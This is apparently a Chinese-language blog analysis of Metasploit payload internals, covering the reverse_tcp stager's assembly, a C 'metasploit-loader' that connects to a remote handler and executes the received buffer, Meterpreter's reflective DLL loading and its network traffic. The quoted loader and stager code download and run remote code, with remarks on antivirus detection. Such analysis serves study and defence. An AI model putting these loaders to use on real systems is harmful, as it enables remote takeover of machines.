-
MSF 的 payload 分析
执行方式上有 3 种 独立 (Single)、传输器 (Stager)、传输体 (Stage),前者单独执行,后两种共同执行。也有人直接分为两种:staged 和stageless,本质上是一样的。相关实现在 modules/payloads 下
single:独立载荷,可直接植入目标系统并执行相应的程序 stager:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入。 stage:传输体载荷,如 shell、meterpreter 等。在 stager 建立好稳定的连接后,攻击机将 stage 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stage。比如得到目标机的 shell,或者 meterpreter 控制程序运行。
常用的就是 stager + stage ,类似 web 渗透中的小马 + 大马,重点关注一下 stager,以常用的反弹 shell 的 reverse_tcp 为例。源码地址 https://github.com/rapid7/metasploit-framework/blob/bdb729a43bfe4c178ab49cba25f022b01baed853/lib/msf/core/payload/windows/reverse_tcp.rb
def generate_reverse_tcp(opts={}) combined_asm = %Q^ cld ; Clear the direction flag. call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: pop ebp #{asm_reverse_tcp(opts)} #{asm_block_recv(opts)} ^ Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string end
重点看一下组成 shellcode 的 3 部分,asm_block_api 根据函数的 hash 搜索函数地址并调用,具体实现位于 lib/msf/core/payload/windows/block_api.rb
def asm_block_api(opts={}) Rex::Payloads::Shuffle.from_graphml_file( File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'), arch: ARCH_X86, name: 'api_call' ) end
asm_reverse_tcp(opts) 负责创建 TCP 连接,asm_block_recv(opts) 用来接收和处理 msf 发的数据,具体实现都在当前文件中。
看一下实现流程,先执行 cld 确保字符串的解析方向,然后将 asm_block_api 的地址存到 ebp 中,这样只要调用 push 函数的 hash 值,接着 call ebp 就能调用这个函数。
asm_reverse_tcp 部分就是用汇编实现了一个 tcp 的连接,大致流程:push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')} push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
asm_block_recv 部分实现,先接收 4 字节的 length ,直接调用 VirtualAlloc 分配有 RWX 权限的内存用于保存 payload(会被杀软检测!)
recv: ; Receive the size of the incoming second stage... push byte 0 ; flags push byte 4 ; length = sizeof( DWORD ); push esi ; the 4 byte buffer on the stack to hold the second stage length push edi ; the saved socket push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) call ebp ; recv( s, &dwLength, 4, 0 ); ; Alloc a RWX buffer for the second stage mov esi, [esi] ; dereference the pointer to the second stage length push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push esi ; push the newly recieved second stage length. push byte 0 ; NULL as we dont care where the allocation is. push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
这一部分就是 windows 下 shellcode 的常规写法然后连续 xchg ebx, eax;push ebx 将这段内存地址(也就是 payload 地址)压入栈中,最后通过 ret 弹出,最后进入该地址执行。
; Receive the second stage and execute it... xchg ebx, eax ; ebx = our new memory address for the new stage push ebx ; push the address of the new stage so we can return into it read_more: ; push byte 0 ; flags push esi ; length push ebx ; the current address into our second stage's RWX buffer push edi ; the saved push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) call ebp ; recv( s, buffer, length, 0 ); add ebx, eax ; buffer += bytes_received sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read ret ; return into the second stage
这里有个很有意思的地方,edi保存的是socket,原因是为什么可以先放一下。
除了 msf 自带的,还有 cs 作者写的 metasploit-loader https://github.com/rsmudge/metasploit-loader,用 C 写的比较容易理解,但实际上和 msf 自带的在流程上没有什么区别。//主函数 int main(int argc, char * argv[]) { ULONG32 size; char * buffer; //创建函数指针,方便XXOO void (*function)(); winsock_init(); //套接字初始化 //获取参数,这里随便写,接不接收无所谓,主要是传递远程主机IP和端口 //这个可以事先定义好 if (argc != 3) { printf("%s [host] [port] ^__^ \n", argv[0]); exit(1); } /*连接到处理程序,也就是远程主机 */ SOCKET my_socket = my_connect(argv[1], atoi(argv[2])); /* 读取4字节长度 *这里是meterpreter第一次发送过来的 *4字节缓冲区大小2E840D00,大小可能会有所不同,当然也可以自己丢弃,自己定义一个大小 */ //是否报错 //如果第一次不是接收的4字节那么就退出程序 int count = recv(my_socket, (char *)&size, 4, 0); if (count != 4 || size <= 0) punt(my_socket, "read length value Error\n"); /* 分配一个缓冲区 RWX buffer */ buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL) punt(my_socket, "could not alloc buffer\n"); /* *SOCKET赋值到EDI寄存器,装载到buffer[]中 */ //mov edi buffer[0] = 0xBF; /* 把我们的socket里的值复制到缓冲区中去*/ memcpy(buffer + 1, &my_socket, 4); /* 读取字节到缓冲区 *这里就循环接收DLL数据,直到接收完毕 */ count = recv_all(my_socket, buffer + 5, size); /* 将缓冲区作为函数并调用它。 * 这里可以看作是shellcode的装载, * 因为这本身是一个DLL装载器,完成使命,控制权交给DLL, * 但本身不退出,除非迁移进程,靠DLL里函数,DLL在DLLMain里是循环接收指令的,直到遇到退出指令, * (void (*)())buffer的这种用法经常出现在shellcode中 */ function = (void (*)())buffer; function(); return 0; }
这里也出现了同样的问题,需要将 SOCKET 赋值到 edi 寄存器,装载到buffer[]中,和前面一样。
-
Meterpreter payload 分析
在 staged 模式下,meterpreter 提供 stage,也就是具体的 payload,具体的实现使用了大量的反射 dll 注入技术,不会再磁盘上留下任何文件,直接载入内存,可以很好的规避杀软,而我们前文分析的 stager 文件则有很多特征,通常需要做免杀处理。
扯远了,这里看 msf 中的具体实现,在 lib/msf/core/payload/windows/meterpreter_loader.rb 中的 stage_meterpreter 函数中def stage_meterpreter(opts={}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll')) #读取 metsrv.x86.dll asm_opts = { rdi_offset: offset, length: dll.length, stageless: opts[:stageless] == true } asm = asm_invoke_metsrv(asm_opts) # 生成字节码 # generate the bootstrap asm bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry if bootstrap.length > 62 raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!" end # 这一部分都是检查 # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap # 替换 dll 头 dll end
挨个函数看,首先是 load_rdi_dll,读取了这个 dll 文件,返回文件和对应偏移量,这个 offset 对应的是 ReflectiveLoader导出函数的地址
def load_rdi_dll(dll_path, loader_name: 'ReflectiveLoader', loader_ordinal: EXPORT_REFLECTIVELOADER) dll = '' ::File.open(dll_path, 'rb') { |f| dll = f.read } offset = parse_pe(dll, loader_name: loader_name, loader_ordinal: loader_ordinal) unless offset raise "Cannot find the ReflectiveLoader entry point in #{dll_path}" end return dll, offset end
这个 offset 直接被传入了 asm_invoke_metsrv 中,首先是构造 MZ 头
def asm_invoke_metsrv(opts={}) asm = %Q^ ; prologue dec ebp ; 'M' pop edx ; 'Z'
这里的部分就是反射 dll 技术,加载 dll 到自身内存,最后返回 dllmain 的函数地址,存在 eax 中
call $+5 ; call next instruction pop ebx ; get the current location (+7 bytes) push edx ; restore edx inc ebp ; restore ebp push ebp ; save ebp for later mov ebp, esp ; set up a new stack frame ; Invoke ReflectiveLoader() ; add the offset to ReflectiveLoader() (0x????????) add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)} call ebx ; invoke ReflectiveLoader() ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ; offset from ReflectiveLoader() to the end of the DLL add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} ^
这里的 edi 中存着的就是 socket 的地址,在前面的这句
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
代码中,ebx 指向的是在 dll 加载空间的末尾,也就是说现在 socket 的地址被放到了 dll 加载空间的末尾。
unless opts[:stageless] || opts[:force_write_handle] == true asm << %Q^ mov [ebx], edi ; write the current socket/handle to the config ^ end #
前面提到过,eax 中存的是 dllmain 函数,在这里调用
asm << %Q^ push ebx ; push the pointer to the configuration start push 4 ; indicate that we have attached push eax ; push some arbitrary value for hInstance call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ^ end
ebx 中是什么还不知道,前面这只是生成 payload 的前半部分,在 stage_payload 中可以看出后面还加上了一些配置信息
def stage_payload(opts={}) stage_meterpreter(opts) + generate_config(opts)
持续跟进 generate_config 函数,其中主要的操作就是将各种配置转化为字节码,在 session_block 和 transport_block 函数中,发现这里给有一段区域填充了 8 位的 0,给 socket 留了位置。
也就是说在 mov edi, &socket 之后,ebx 指向的那块内存就从之前的 8 位 0,变成了 socket,从而让 ebx 指向了 socket 的地址。session_data = [ 0, # comms socket, patched in by the stager exit_func, # exit function identifer opts[:expiration], # Session expiry uuid, # the UUID session_guid # the Session GUID ] session_data.pack('QVVA*A*')
放两张参考文献中的 dalao 的调试图:
(ebx -> 006CAC05 -> 0150[socket] <- edi) -
反射 dll 分析
相关代码在 https://github.com/rapid7/metasploit-payloads 中,看一下生成这个 metsrv.dll 的 metsrv.c
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { BOOL bReturnValue = TRUE; switch (dwReason) { case DLL_METASPLOIT_ATTACH: bReturnValue = Init((MetsrvConfig*)lpReserved); break; case DLL_QUERY_HMODULE: if (lpReserved != NULL) *(HMODULE*)lpReserved = hAppInstance; break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; }
看一下 stage 中的调用 dllmain 的过程,其中 DLL_METASPLOIT_ATTACH 函数在 metsrv.c 中,而 config_ptr 传递的是前面的 push ebx,也就是 socket 句柄所在地址的那段数据的起始地址。
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
在 DLL_METASPLOIT_ATTACH 分支中,会将 ebx 指向的这段地址中的数据转为 MetsrvConfig 结构体。
typedef struct _MetsrvConfig { MetsrvSession session; MetsrvTransportCommon transports[1]; ///! Placeholder } MetsrvConfig;
将这段内存(本来也是生成的 config)重新转化为 MetsrvConfig 类型,其中的变量在 payload 的生成选项里都有。
既然发生了类型转换,那就看一下 edi 指向的这个 socket 在转换后被分配到了哪个变量。union { UINT_PTR handle; BYTE padding[8]; } comms_handle; ///! Socket/handle for communications (if there is one).
继续跟进 comms_handle,可以发现对这个联合体的调用都在 metsrv/server_setup.c 中,其中的 server_setup 函数在完成类型转换之后的 Init 中被调用。看一下调用了 comms_handle 的部分。
... dprintf("[SESSION] Comms handle: %u", config->session.comms_handle); ... dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle); if (remote->transport->set_handle) { remote->transport->set_handle(remote->transport, config->session.comms_handle.handle); }
重点在这一句,将 remote->transport 设置为之前创建的 socket
remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
剩下的就是建立 tcp 连接的过程了,用的是前面创建的 socket 句柄。
-
流量分析
由 msf 发的包分 3 部分,首先是 4 字节的长度
第二部分是修改了 DOS 头部的 metsrv.x86.dll,可以看到 MZ 头和 PE 头
第三部分是配置数据
-
参考文献